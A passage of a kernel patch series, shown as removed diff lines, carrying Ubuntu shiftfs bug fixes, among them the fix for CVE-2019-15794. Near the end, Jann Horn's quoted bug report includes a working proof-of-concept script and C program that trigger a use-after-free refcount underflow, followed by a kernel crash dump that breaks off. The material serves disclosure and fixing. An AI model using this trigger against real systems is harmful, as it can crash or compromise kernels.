4053 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4054 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4055 -Signed-off-by: Mike Pagano <mpagano@g.o>
4056 ----
4057 - fs/shiftfs.c | 3 +++
4058 - 1 file changed, 3 insertions(+)
4059 -
4060 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4061 -index 49f6714e9f95..addaa6e21e57 100644
4062 ---- a/fs/shiftfs.c
4063 -+++ b/fs/shiftfs.c
4064 -@@ -1126,6 +1126,9 @@ static int shiftfs_open(struct inode *inode, struct file *file)
4065 - }
4066 -
4067 - file->private_data = file_info;
4068 -+ /* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO. */
4069 -+ file->f_mapping = realfile->f_mapping;
4070 -+
4071 - file_info->realfile = realfile;
4072 - return 0;
4073 - }
4074 ---
4075 -2.39.2
4076 -
4077 -From 772a8ea3a85f0530a76bc8dbe4e91de92aa35180 Mon Sep 17 00:00:00 2001
4078 -From: Christian Brauner <christian@×××××××.io>
4079 -Date: Fri, 19 Jul 2019 17:50:47 +0200
4080 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: pass correct point down
4081 -Cc: mpagano@g.o
4082 -
4083 -BugLink: https://bugs.launchpad.net/bugs/1837231
4084 -
4085 -This used to pass an unsigned long to copy_from_user() instead of a
4086 -void __user * pointer. This will produce warning with a sufficiently
4087 -advanced compiler.
4088 -
4089 -Cc: Seth Forshee <seth.forshee@×××××××××.com>
4090 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4091 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4092 -Signed-off-by: Mike Pagano <mpagano@g.o>
4093 ----
4094 - fs/shiftfs.c | 2 +-
4095 - 1 file changed, 1 insertion(+), 1 deletion(-)
4096 -
4097 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4098 -index addaa6e21e57..9006201c243d 100644
4099 ---- a/fs/shiftfs.c
4100 -+++ b/fs/shiftfs.c
4101 -@@ -1529,7 +1529,7 @@ static bool in_ioctl_whitelist(int flag, unsigned long arg)
4102 - case BTRFS_IOC_SUBVOL_GETFLAGS:
4103 - return true;
4104 - case BTRFS_IOC_SUBVOL_SETFLAGS:
4105 -- if (copy_from_user(&flags, arg, sizeof(flags)))
4106 -+ if (copy_from_user(&flags, argp, sizeof(flags)))
4107 - return false;
4108 -
4109 - if (flags & ~BTRFS_SUBVOL_RDONLY)
4110 ---
4111 -2.39.2
4112 -
4113 -From ca8b1596f4e2a5a3c8ee7b7cb45d4703b329c891 Mon Sep 17 00:00:00 2001
4114 -From: Christian Brauner <christian.brauner@××××××.com>
4115 -Date: Thu, 29 Aug 2019 20:45:07 +0200
4116 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: fix buggy unlink logic
4117 -Cc: mpagano@g.o
4118 -
4119 -BugLink: https://bugs.launchpad.net/bugs/1841977
4120 -
4121 -The way we messed with setting i_nlink was brittle and wrong. We used to
4122 -set the i_nlink of the shiftfs dentry to be deleted to the i_nlink count
4123 -of the underlay dentry of the directory it resided in which makes no
4124 -sense whatsoever. We also missed drop_nlink() which is crucial since
4125 -i_nlink affects whether a dentry is cleaned up on dput().
4126 -With this I cannot reproduce the bug anymore where shiftfs misleads zfs
4127 -into believing that a deleted file can not be removed from disk because
4128 -it is still referenced.
4129 -
4130 -Fixes: commit 87011da41961 ("shiftfs: rework and extend")
4131 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4132 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4133 -Signed-off-by: Mike Pagano <mpagano@g.o>
4134 ----
4135 - fs/shiftfs.c | 15 ++++++++++-----
4136 - 1 file changed, 10 insertions(+), 5 deletions(-)
4137 -
4138 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4139 -index 9006201c243d..e80db9480b5c 100644
4140 ---- a/fs/shiftfs.c
4141 -+++ b/fs/shiftfs.c
4142 -@@ -585,6 +585,7 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
4143 - {
4144 - struct dentry *lowerd = dentry->d_fsdata;
4145 - struct inode *loweri = dir->i_private;
4146 -+ struct inode *inode = d_inode(dentry);
4147 - int err;
4148 - const struct cred *oldcred;
4149 -
4150 -@@ -594,15 +595,19 @@ static int shiftfs_rm(struct inode *dir, struct dentry *dentry, bool rmdir)
4151 - err = vfs_rmdir(loweri, lowerd);
4152 - else
4153 - err = vfs_unlink(loweri, lowerd, NULL);
4154 -- inode_unlock(loweri);
4155 - revert_creds(oldcred);
4156 -
4157 -- shiftfs_copyattr(loweri, dir);
4158 -- set_nlink(d_inode(dentry), loweri->i_nlink);
4159 -- if (!err)
4160 -+ if (!err) {
4161 - d_drop(dentry);
4162 -
4163 -- set_nlink(dir, loweri->i_nlink);
4164 -+ if (rmdir)
4165 -+ clear_nlink(inode);
4166 -+ else
4167 -+ drop_nlink(inode);
4168 -+ }
4169 -+ inode_unlock(loweri);
4170 -+
4171 -+ shiftfs_copyattr(loweri, dir);
4172 -
4173 - return err;
4174 - }
4175 ---
4176 -2.39.2
4177 -
4178 -From 81445d2871aef886eabb56c7f124d491f445fcc7 Mon Sep 17 00:00:00 2001
4179 -From: Christian Brauner <christian.brauner@××××××.com>
4180 -Date: Fri, 30 Aug 2019 14:14:31 +0200
4181 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: mark slab objects
4182 - SLAB_RECLAIM_ACCOUNT
4183 -Cc: mpagano@g.o
4184 -
4185 -BugLink: https://bugs.launchpad.net/bugs/1842059
4186 -
4187 -Shiftfs does not mark it's slab cache as reclaimable. While this is not
4188 -a big deal it is not nice to the kernel in general. The shiftfs cache is
4189 -not so important that it can't be reclaimed.
4190 -
4191 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4192 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4193 -Signed-off-by: Mike Pagano <mpagano@g.o>
4194 ----
4195 - fs/shiftfs.c | 2 +-
4196 - 1 file changed, 1 insertion(+), 1 deletion(-)
4197 -
4198 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4199 -index e80db9480b5c..a21cb473e000 100644
4200 ---- a/fs/shiftfs.c
4201 -+++ b/fs/shiftfs.c
4202 -@@ -2108,7 +2108,7 @@ static int __init shiftfs_init(void)
4203 - {
4204 - shiftfs_file_info_cache = kmem_cache_create(
4205 - "shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0,
4206 -- SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
4207 -+ SLAB_RECLAIM_ACCOUNT | SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
4208 - if (!shiftfs_file_info_cache)
4209 - return -ENOMEM;
4210 -
4211 ---
4212 -2.39.2
4213 -
4214 -From 3d0e90c90e6b1b915b9ac760c865529b28cf1cdd Mon Sep 17 00:00:00 2001
4215 -From: Christian Brauner <christian.brauner@××××××.com>
4216 -Date: Wed, 2 Oct 2019 09:57:14 +0200
4217 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: rework how shiftfs opens files
4218 -Cc: mpagano@g.o
4219 -
4220 -BugLink: https://bugs.launchpad.net/bugs/1846265
4221 -
4222 -This commit simplifies how shiftfs open files, both regular files an
4223 -directories.
4224 -
4225 -In the first iteration, we implemented a kmem cache for struct
4226 -shiftfs_file_info which stashed away a struct path and the struct file
4227 -for the underlay. The path however was never used anywhere so the struct
4228 -shiftfs_file_info and therefore the whole kmem cache can go away.
4229 -Instead we move to the same model as overlayfs and just stash away the
4230 -struct file for the underlay in file->private_data of the shiftfs struct
4231 -file.
4232 -Addtionally, we split the .open method for files and directories.
4233 -Similar to overlayfs .open for regular files uses open_with_fake_path()
4234 -which ensures that it doesn't contribute to the open file count (since
4235 -this would mean we'd count double). The .open method for directories
4236 -however used dentry_open() which contributes to the open file count.
4237 -
4238 -The basic logic for opening files is unchanged. The main point is to
4239 -ensure that a reference to the underlay's dentry is kept through struct
4240 -path.
4241 -
4242 -Various bits and pieces of this were cooked up in discussions Seth and I
4243 -had in Paris.
4244 -
4245 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4246 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4247 -Signed-off-by: Mike Pagano <mpagano@g.o>
4248 ----
4249 - fs/shiftfs.c | 105 +++++++++++++++++++++++----------------------------
4250 - 1 file changed, 47 insertions(+), 58 deletions(-)
4251 -
4252 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4253 -index a21cb473e000..55bb32b611f2 100644
4254 ---- a/fs/shiftfs.c
4255 -+++ b/fs/shiftfs.c
4256 -@@ -31,13 +31,6 @@ struct shiftfs_super_info {
4257 - unsigned int passthrough_mark;
4258 - };
4259 -
4260 --struct shiftfs_file_info {
4261 -- struct path realpath;
4262 -- struct file *realfile;
4263 --};
4264 --
4265 --struct kmem_cache *shiftfs_file_info_cache;
4266 --
4267 - static void shiftfs_fill_inode(struct inode *inode, unsigned long ino,
4268 - umode_t mode, dev_t dev, struct dentry *dentry);
4269 -
4270 -@@ -1042,21 +1035,21 @@ static const struct inode_operations shiftfs_symlink_inode_operations = {
4271 - };
4272 -
4273 - static struct file *shiftfs_open_realfile(const struct file *file,
4274 -- struct path *realpath)
4275 -+ struct inode *realinode)
4276 - {
4277 -- struct file *lowerf;
4278 -- const struct cred *oldcred;
4279 -+ struct file *realfile;
4280 -+ const struct cred *old_cred;
4281 - struct inode *inode = file_inode(file);
4282 -- struct inode *loweri = realpath->dentry->d_inode;
4283 -+ struct dentry *lowerd = file->f_path.dentry->d_fsdata;
4284 - struct shiftfs_super_info *info = inode->i_sb->s_fs_info;
4285 -+ struct path realpath = { .mnt = info->mnt, .dentry = lowerd };
4286 -
4287 -- oldcred = shiftfs_override_creds(inode->i_sb);
4288 -- /* XXX: open_with_fake_path() not gauranteed to stay around, if
4289 -- * removed use dentry_open() */
4290 -- lowerf = open_with_fake_path(realpath, file->f_flags, loweri, info->creator_cred);
4291 -- revert_creds(oldcred);
4292 -+ old_cred = shiftfs_override_creds(inode->i_sb);
4293 -+ realfile = open_with_fake_path(&realpath, file->f_flags, realinode,
4294 -+ info->creator_cred);
4295 -+ revert_creds(old_cred);
4296 -
4297 -- return lowerf;
4298 -+ return realfile;
4299 - }
4300 -
4301 - #define SHIFTFS_SETFL_MASK (O_APPEND | O_NONBLOCK | O_NDELAY | O_DIRECT)
4302 -@@ -1096,8 +1089,7 @@ static int shiftfs_change_flags(struct file *file, unsigned int flags)
4303 -
4304 - static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
4305 - {
4306 -- struct shiftfs_file_info *file_info = file->private_data;
4307 -- struct file *realfile = file_info->realfile;
4308 -+ struct file *realfile = file->private_data;
4309 -
4310 - lowerfd->flags = 0;
4311 - lowerfd->file = realfile;
4312 -@@ -1111,51 +1103,57 @@ static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
4313 -
4314 - static int shiftfs_open(struct inode *inode, struct file *file)
4315 - {
4316 -- struct shiftfs_super_info *ssi = inode->i_sb->s_fs_info;
4317 -- struct shiftfs_file_info *file_info;
4318 - struct file *realfile;
4319 -- struct path *realpath;
4320 -
4321 -- file_info = kmem_cache_zalloc(shiftfs_file_info_cache, GFP_KERNEL);
4322 -- if (!file_info)
4323 -- return -ENOMEM;
4324 --
4325 -- realpath = &file_info->realpath;
4326 -- realpath->mnt = ssi->mnt;
4327 -- realpath->dentry = file->f_path.dentry->d_fsdata;
4328 --
4329 -- realfile = shiftfs_open_realfile(file, realpath);
4330 -- if (IS_ERR(realfile)) {
4331 -- kmem_cache_free(shiftfs_file_info_cache, file_info);
4332 -+ realfile = shiftfs_open_realfile(file, inode->i_private);
4333 -+ if (IS_ERR(realfile))
4334 - return PTR_ERR(realfile);
4335 -- }
4336 -
4337 -- file->private_data = file_info;
4338 -+ file->private_data = realfile;
4339 - /* For O_DIRECT dentry_open() checks f_mapping->a_ops->direct_IO. */
4340 - file->f_mapping = realfile->f_mapping;
4341 -
4342 -- file_info->realfile = realfile;
4343 - return 0;
4344 - }
4345 -
4346 --static int shiftfs_release(struct inode *inode, struct file *file)
4347 -+static int shiftfs_dir_open(struct inode *inode, struct file *file)
4348 - {
4349 -- struct shiftfs_file_info *file_info = file->private_data;
4350 -+ struct file *realfile;
4351 -+ const struct cred *oldcred;
4352 -+ struct dentry *lowerd = file->f_path.dentry->d_fsdata;
4353 -+ struct shiftfs_super_info *info = inode->i_sb->s_fs_info;
4354 -+ struct path realpath = { .mnt = info->mnt, .dentry = lowerd };
4355 -+
4356 -+ oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
4357 -+ realfile = dentry_open(&realpath, file->f_flags | O_NOATIME,
4358 -+ info->creator_cred);
4359 -+ revert_creds(oldcred);
4360 -+ if (IS_ERR(realfile))
4361 -+ return PTR_ERR(realfile);
4362 -
4363 -- if (file_info) {
4364 -- if (file_info->realfile)
4365 -- fput(file_info->realfile);
4366 -+ file->private_data = realfile;
4367 -
4368 -- kmem_cache_free(shiftfs_file_info_cache, file_info);
4369 -- }
4370 -+ return 0;
4371 -+}
4372 -+
4373 -+static int shiftfs_release(struct inode *inode, struct file *file)
4374 -+{
4375 -+ struct file *realfile = file->private_data;
4376 -+
4377 -+ if (realfile)
4378 -+ fput(realfile);
4379 -
4380 - return 0;
4381 - }
4382 -
4383 -+static int shiftfs_dir_release(struct inode *inode, struct file *file)
4384 -+{
4385 -+ return shiftfs_release(inode, file);
4386 -+}
4387 -+
4388 - static loff_t shiftfs_dir_llseek(struct file *file, loff_t offset, int whence)
4389 - {
4390 -- struct shiftfs_file_info *file_info = file->private_data;
4391 -- struct file *realfile = file_info->realfile;
4392 -+ struct file *realfile = file->private_data;
4393 -
4394 - return vfs_llseek(realfile, offset, whence);
4395 - }
4396 -@@ -1274,8 +1272,7 @@ static int shiftfs_fsync(struct file *file, loff_t start, loff_t end,
4397 -
4398 - static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma)
4399 - {
4400 -- struct shiftfs_file_info *file_info = file->private_data;
4401 -- struct file *realfile = file_info->realfile;
4402 -+ struct file *realfile = file->private_data;
4403 - const struct cred *oldcred;
4404 - int ret;
4405 -
4406 -@@ -1671,8 +1668,7 @@ static int shiftfs_iterate_shared(struct file *file, struct dir_context *ctx)
4407 - {
4408 - const struct cred *oldcred;
4409 - int err = -ENOTDIR;
4410 -- struct shiftfs_file_info *file_info = file->private_data;
4411 -- struct file *realfile = file_info->realfile;
4412 -+ struct file *realfile = file->private_data;
4413 -
4414 - oldcred = shiftfs_override_creds(file->f_path.dentry->d_sb);
4415 - err = iterate_dir(realfile, ctx);
4416 -@@ -1698,13 +1694,13 @@ const struct file_operations shiftfs_file_operations = {
4417 - };
4418 -
4419 - const struct file_operations shiftfs_dir_operations = {
4420 -+ .open = shiftfs_dir_open,
4421 -+ .release = shiftfs_dir_release,
4422 - .compat_ioctl = shiftfs_compat_ioctl,
4423 - .fsync = shiftfs_fsync,
4424 - .iterate_shared = shiftfs_iterate_shared,
4425 - .llseek = shiftfs_dir_llseek,
4426 -- .open = shiftfs_open,
4427 - .read = generic_read_dir,
4428 -- .release = shiftfs_release,
4429 - .unlocked_ioctl = shiftfs_ioctl,
4430 - };
4431 -
4432 -@@ -2106,19 +2102,12 @@ static struct file_system_type shiftfs_type = {
4433 -
4434 - static int __init shiftfs_init(void)
4435 - {
4436 -- shiftfs_file_info_cache = kmem_cache_create(
4437 -- "shiftfs_file_info_cache", sizeof(struct shiftfs_file_info), 0,
4438 -- SLAB_RECLAIM_ACCOUNT | SLAB_HWCACHE_ALIGN | SLAB_ACCOUNT | SLAB_MEM_SPREAD, NULL);
4439 -- if (!shiftfs_file_info_cache)
4440 -- return -ENOMEM;
4441 --
4442 - return register_filesystem(&shiftfs_type);
4443 - }
4444 -
4445 - static void __exit shiftfs_exit(void)
4446 - {
4447 - unregister_filesystem(&shiftfs_type);
4448 -- kmem_cache_destroy(shiftfs_file_info_cache);
4449 - }
4450 -
4451 - MODULE_ALIAS_FS("shiftfs");
4452 ---
4453 -2.39.2
4454 -
4455 -From 0afd6d19d12a42d7905110a41cdb3815e023467c Mon Sep 17 00:00:00 2001
4456 -From: Seth Forshee <seth.forshee@×××××××××.com>
4457 -Date: Wed, 6 Nov 2019 09:38:57 -0600
4458 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Restore vm_file value when lower fs
4459 - mmap fails
4460 -Cc: mpagano@g.o
4461 -
4462 -BugLink: https://bugs.launchpad.net/bugs/1850994
4463 -
4464 -shiftfs_mmap() overwrites vma->vm_file before calling the lower
4465 -filesystem mmap but does not restore the original value on
4466 -failure. This means it is giving a pointer to the lower fs file
4467 -back to the caller with no reference, which is a bad practice.
4468 -However, it does not lead to any issues with upstream kernels as
4469 -no caller accesses vma->vm_file after call_mmap().
4470 -
4471 -With the aufs patches applied the story is different. Whereas
4472 -mmap_region() previously fput a local variable containing the
4473 -file it assigned to vm_file, it now calls vma_fput() which will
4474 -fput vm_file, for which it has no reference, and the reference
4475 -for the original vm_file is not put.
4476 -
4477 -Fix this by restoring vma->vm_file to the original value when the
4478 -mmap call into the lower fs fails.
4479 -
4480 -CVE-2019-15794
4481 -
4482 -Reported-by: Jann Horn <jannh@××××××.com>
4483 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4484 -Signed-off-by: Mike Pagano <mpagano@g.o>
4485 ----
4486 - fs/shiftfs.c | 15 +++++++++++----
4487 - 1 file changed, 11 insertions(+), 4 deletions(-)
4488 -
4489 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4490 -index 55bb32b611f2..57d84479026b 100644
4491 ---- a/fs/shiftfs.c
4492 -+++ b/fs/shiftfs.c
4493 -@@ -1289,10 +1289,17 @@ static int shiftfs_mmap(struct file *file, struct vm_area_struct *vma)
4494 -
4495 - shiftfs_file_accessed(file);
4496 -
4497 -- if (ret)
4498 -- fput(realfile); /* Drop refcount from new vm_file value */
4499 -- else
4500 -- fput(file); /* Drop refcount from previous vm_file value */
4501 -+ if (ret) {
4502 -+ /*
4503 -+ * Drop refcount from new vm_file value and restore original
4504 -+ * vm_file value
4505 -+ */
4506 -+ vma->vm_file = file;
4507 -+ fput(realfile);
4508 -+ } else {
4509 -+ /* Drop refcount from previous vm_file value */
4510 -+ fput(file);
4511 -+ }
4512 -
4513 - return ret;
4514 - }
4515 ---
4516 -2.39.2
4517 -
4518 -From 5b548337ff886dfb00ec3a142693226394673126 Mon Sep 17 00:00:00 2001
4519 -From: Christian Brauner <christian.brauner@××××××.com>
4520 -Date: Wed, 23 Oct 2019 14:22:28 +0200
4521 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: setup correct s_maxbytes limit
4522 -Cc: mpagano@g.o
4523 -
4524 -BugLink: https://bugs.launchpad.net/bugs/1849482
4525 -
4526 -Set the s_maxbytes limit to MAX_LFS_FILESIZE.
4527 -Currently shiftfs limits the maximum size for fallocate() needlessly
4528 -causing calls such as fallocate --length 2GB ./file to fail. This
4529 -limitation is arbitrary since it's not caused by the underlay but
4530 -rather by shiftfs itself capping the s_maxbytes. This causes bugs such
4531 -as the one reported in [1].
4532 -
4533 -[1]: https://github.com/lxc/lxd/issues/6333
4534 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4535 -Acked-by: Connor Kuehl <connor.kuehl@×××××××××.com>
4536 -Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
4537 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4538 -Signed-off-by: Mike Pagano <mpagano@g.o>
4539 ----
4540 - fs/shiftfs.c | 1 +
4541 - 1 file changed, 1 insertion(+)
4542 -
4543 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4544 -index 57d84479026b..6a2b5e3d0d53 100644
4545 ---- a/fs/shiftfs.c
4546 -+++ b/fs/shiftfs.c
4547 -@@ -2064,6 +2064,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
4548 - inode->i_private = dentry->d_inode;
4549 -
4550 - sb->s_magic = SHIFTFS_MAGIC;
4551 -+ sb->s_maxbytes = MAX_LFS_FILESIZE;
4552 - sb->s_op = &shiftfs_super_ops;
4553 - sb->s_xattr = shiftfs_xattr_handlers;
4554 - sb->s_d_op = &shiftfs_dentry_ops;
4555 ---
4556 -2.39.2
4557 -
4558 -From fa7001e866380a4d2f45022295b6db1fd0cf12c5 Mon Sep 17 00:00:00 2001
4559 -From: Christian Brauner <christian.brauner@××××××.com>
4560 -Date: Wed, 23 Oct 2019 14:23:50 +0200
4561 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: drop CAP_SYS_RESOURCE from effective
4562 - capabilities
4563 -Cc: mpagano@g.o
4564 -
4565 -BugLink: https://bugs.launchpad.net/bugs/1849483
4566 -
4567 -Currently shiftfs allows to exceed project quota and reserved space on
4568 -e.g. ext2. See [1] and especially [2] for a bug report. This is very
4569 -much not what we want. Quotas and reserverd space settings set on the
4570 -host need to respected. The cause for this issue is overriding the
4571 -credentials with the superblock creator's credentials whenever we
4572 -perform operations such as fallocate() or writes while retaining
4573 -CAP_SYS_RESOURCE.
4574 -
4575 -The fix is to drop CAP_SYS_RESOURCE from the effective capability set
4576 -after we have made a copy of the superblock creator's credential at
4577 -superblock creation time. This very likely gives us more security than
4578 -we had before and the regression potential seems limited. I would like
4579 -to try this apporach first before coming up with something potentially
4580 -more sophisticated. I don't see why CAP_SYS_RESOURCE should become a
4581 -limiting factor in most use-cases.
4582 -
4583 -[1]: https://github.com/lxc/lxd/issues/6333
4584 -[2]: https://github.com/lxc/lxd/issues/6333#issuecomment-545154838
4585 -Signed-off-by: Christian Brauner <christian.brauner@××××××.com>
4586 -Acked-by: Connor Kuehl <connor.kuehl@×××××××××.com>
4587 -Acked-by: Stefan Bader <stefan.bader@×××××××××.com>
4588 -Signed-off-by: Seth Forshee <seth.forshee@×××××××××.com>
4589 -Signed-off-by: Mike Pagano <mpagano@g.o>
4590 ----
4591 - fs/shiftfs.c | 8 ++++++--
4592 - 1 file changed, 6 insertions(+), 2 deletions(-)
4593 -
4594 -diff --git a/fs/shiftfs.c b/fs/shiftfs.c
4595 -index 6a2b5e3d0d53..0d6ce377b07c 100644
4596 ---- a/fs/shiftfs.c
4597 -+++ b/fs/shiftfs.c
4598 -@@ -1958,6 +1958,7 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
4599 - sb->s_flags |= SB_POSIXACL;
4600 -
4601 - if (sbinfo->mark) {
4602 -+ struct cred *cred_tmp;
4603 - struct super_block *lower_sb = path.mnt->mnt_sb;
4604 -
4605 - /* to mark a mount point, must root wrt lower s_user_ns */
4606 -@@ -2012,11 +2013,14 @@ static int shiftfs_fill_super(struct super_block *sb, void *raw_data,
4607 - sbinfo->passthrough_mark = sbinfo->passthrough;
4608 - }
4609 -
4610 -- sbinfo->creator_cred = prepare_creds();
4611 -- if (!sbinfo->creator_cred) {
4612 -+ cred_tmp = prepare_creds();
4613 -+ if (!cred_tmp) {
4614 - err = -ENOMEM;
4615 - goto out_put_path;
4616 - }
4617 -+ /* Don't override disk quota limits or use reserved space. */
4618 -+ cap_lower(cred_tmp->cap_effective, CAP_SYS_RESOURCE);
4619 -+ sbinfo->creator_cred = cred_tmp;
4620 - } else {
4621 - /*
4622 - * This leg executes if we're admin capable in the namespace,
4623 ---
4624 -2.39.2
4625 -
4626 -From a73880c13fc011fba13bfbf3197b98500c8c4906 Mon Sep 17 00:00:00 2001
4627 -From: Seth Forshee <seth.forshee@×××××××××.com>
4628 -Date: Fri, 1 Nov 2019 10:41:03 -0500
4629 -Subject: [PATCH] UBUNTU: SAUCE: shiftfs: Fix refcount underflow in btrfs ioctl
4630 - handling
4631 -Cc: mpagano@g.o
4632 -
4633 -BugLink: https://bugs.launchpad.net/bugs/1850867
4634 -
4635 -shiftfs_btrfs_ioctl_fd_replace() installs an fd referencing a
4636 -file from the lower filesystem without taking an additional
4637 -reference to that file. After the btrfs ioctl completes this fd
4638 -is closed, which then puts a reference to that file, leading to a
4639 -refcount underflow. Original bug report and test case from Jann
4640 -Horn is below.
4641 -
4642 -Fix this, and at the sametime simplify the management of the fd
4643 -to the lower file for the ioctl. In
4644 -shiftfs_btrfs_ioctl_fd_replace(), take the missing reference to
4645 -the lower file and set FDPUT_FPUT so that this reference will get
4646 -dropped on fdput() in error paths. Do not maintain the struct fd
4647 -in the caller, as it the fd installed in the fd table is
4648 -sufficient to properly clean up. Finally, remove the fdput() in
4649 -shiftfs_btrfs_ioctl_fd_restore() as it is redundant with the
4650 -__close_fd() call.
4651 -
4652 -Original report from Jann Horn:
4653 -
4654 -In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
4655 -
4656 - src = fdget(oldfd);
4657 - if (!src.file)
4658 - return -EINVAL;
4659 - // src holds one reference (assuming multithreaded execution)
4660 -
4661 - ret = shiftfs_real_fdget(src.file, lfd);
4662 - // lfd->file is a file* now, but shiftfs_real_fdget didn't take any
4663 - // extra references
4664 - fdput(src);
4665 - // this drops the only reference we were holding on src, and src was
4666 - // the only thing holding a reference to lfd->file. lfd->file may be
4667 - // dangling at this point.
4668 - if (ret)
4669 - return ret;
4670 -
4671 - *newfd = get_unused_fd_flags(lfd->file->f_flags);
4672 - if (*newfd < 0) {
4673 - // always a no-op
4674 - fdput(*lfd);
4675 - return *newfd;
4676 - }
4677 -
4678 - fd_install(*newfd, lfd->file);
4679 - // fd_install() consumes a counted reference, but we don't hold any
4680 - // counted references. so at this point, if lfd->file hasn't been freed
4681 - // yet, its refcount is one lower than it ought to be.
4682 -
4683 - [...]
4684 -
4685 - // the following code is refcount-neutral, so the refcount stays one too
4686 - // low.
4687 - if (ret)
4688 - shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
4689 -
4690 -shiftfs_real_fdget() is implemented as follows:
4691 -
4692 -static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
4693 -{
4694 - struct shiftfs_file_info *file_info = file->private_data;
4695 - struct file *realfile = file_info->realfile;
4696 -
4697 - lowerfd->flags = 0;
4698 - lowerfd->file = realfile;
4699 -
4700 - /* Did the flags change since open? */
4701 - if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
4702 - return shiftfs_change_flags(lowerfd->file, file->f_flags);
4703 -
4704 - return 0;
4705 -}
4706 -
4707 -Therefore, the following PoC will cause reference count overdecrements; I ran it
4708 -with SLUB debugging enabled and got the following splat:
4709 -
4710 -=======================================
4711 -user@ubuntu1910vm:~/shiftfs$ cat run.sh
4712 -sync
4713 -unshare -mUr ./run2.sh
4714 -t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
4715 -set -e
4716 -
4717 -mkdir -p mnt/tmpfs
4718 -mkdir -p mnt/shiftfs
4719 -mount -t tmpfs none mnt/tmpfs
4720 -mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
4721 -mount|grep shift
4722 -touch mnt/tmpfs/foo
4723 -gcc -o ioctl ioctl.c -Wall
4724 -./ioctl
4725 -user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
4726 -
4727 -int main(void) {
4728 - int root = open("mnt/shiftfs", O_RDONLY);
4729 - if (root == -1) err(1, "open shiftfs root");
4730 - int foofd = openat(root, "foo", O_RDONLY);
4731 - if (foofd == -1) err(1, "open foofd");
4732 - struct btrfs_ioctl_vol_args iocarg = {
4733 - .fd = foofd
4734 - };
4735 - ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
4736 - sleep(1);
4737 - void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
4738 - if (map != MAP_FAILED) munmap(map, 0x1000);
4739 -}
4740 -user@ubuntu1910vm:~/shiftfs$ ./run.sh
4741 -none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
4742 -/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
4743 -[ 183.463452] general protection fault: 0000 [#1] SMP PTI
4744 -[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
4745 -[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
4746 -[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
4747 -[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
4748 -[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
4749 -[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
4750 -[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
4751 -[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
4752 -[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
4753 -[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
4754 -[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
4755 -[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
